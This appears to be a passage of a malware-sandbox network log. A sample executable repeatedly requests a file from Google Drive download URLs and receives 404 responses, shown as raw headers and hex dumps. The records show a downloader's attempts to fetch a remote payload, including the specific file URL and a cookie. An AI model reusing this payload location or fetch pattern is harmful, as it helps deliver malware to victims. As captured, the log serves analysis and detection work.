2025-01-10 14:35:44 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:44 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-2H5MY1Yl1l0rL9pR86BEOg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.11.20	49785	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:44 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:45 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSJS6KD6gxCzrqqBeRy24CousGyYUM_mZdjcRvC4T79YGmFUkvXV5do_CUI5_pjniO7uZ7cyG4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:44 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-0PzhdXXu0uPuUoB_l9032w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:35:45 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 59 6c 4f 50 63 6d 47 51 37 38 5f 57 50 42 58 41 54 45 48 6f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="wYlOPcmGQ78_WPBXATEHoA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49786	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:55 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:55 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:55 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-_5JcRp9BKMoIVYVHTesxuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49787	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:35:55 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:35:56 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7MGSCM-SqO8QIqqKWY3qJxCkHxZcO5bdMP9oMniQH9Cu54DdZ51K_0TXxSih3FWwrqHwnqwTg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:35:56 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-cf6_GHo-5Pu2mtyymmWuuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:35:56 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 32 61 4c 71 44 5f 58 38 68 44 44 47 79 7a 64 64 6e 4e 62 33 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="52aLqD_X8hDDGyzddnNb3g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49788	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:06 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:06 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:06 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-O6vDTEKPHkbITwrsRYmaZg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49789	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:07 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:07 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTPSAVtfR4XjmO_v3WA6bPvV6XjRtUcKAea1tg9dsK3ECRk2pI-yjq12m49LcgZdGyN Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:07 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-khC-4aYosW-NtjAkFBbzkA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:36:07 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 77 6e 53 6e 36 66 4c 34 4e 55 5f 50 6f 5a 73 48 2d 73 77 53 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="WwnSn6fL4NU_PoZsH-swSA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.20	49790	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:18 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:19 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:18 GMT Location: https://drive.usercontent.google.com/download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-WT6SRMw2JIa0va5513nRIg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.20	49791	142.250.190.97	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:19 UTC	459	OUT	GET /download?id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
2025-01-10 14:36:19 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTxrKg_PRcbJuMiP9sWAXU45uDqcUXmDcebcjGHi5kR3BhScNA5rP936s04pD8kdGx7 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:36:19 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-dsAg3u2m1n6G9y7LcDmY-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:36:19 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 4f 74 42 34 65 67 4d 74 78 47 53 48 75 76 69 4f 49 73 6d 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="bOtB4egMtxGSHuviOIsmHA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.20	49792	142.250.190.110	443	8016	C:\Users\user\Desktop\nRNzqQOQwk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:36:29 UTC	417	OUT	GET /uc?export=download&id=1RLxH3uYuryGPlzmWfWtbofOIfVaRbLSl HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=V9-zICwi6d4rlT4MuuONzO8qUynnVsyzPQ-ZD_ki1FYBLopwzd4eZVsvIHvnU_LLJQKI2ZnsVwxqqriblW8NelnwtPfL54eYEuszbkwKIjA9W-L5SjR0K2rKCa2YHvIQW-NGFjTbpTnVpqTzGfa1rQKSHCfywUzIRYOsuMNlkKZ-tqf3iGqmBZU
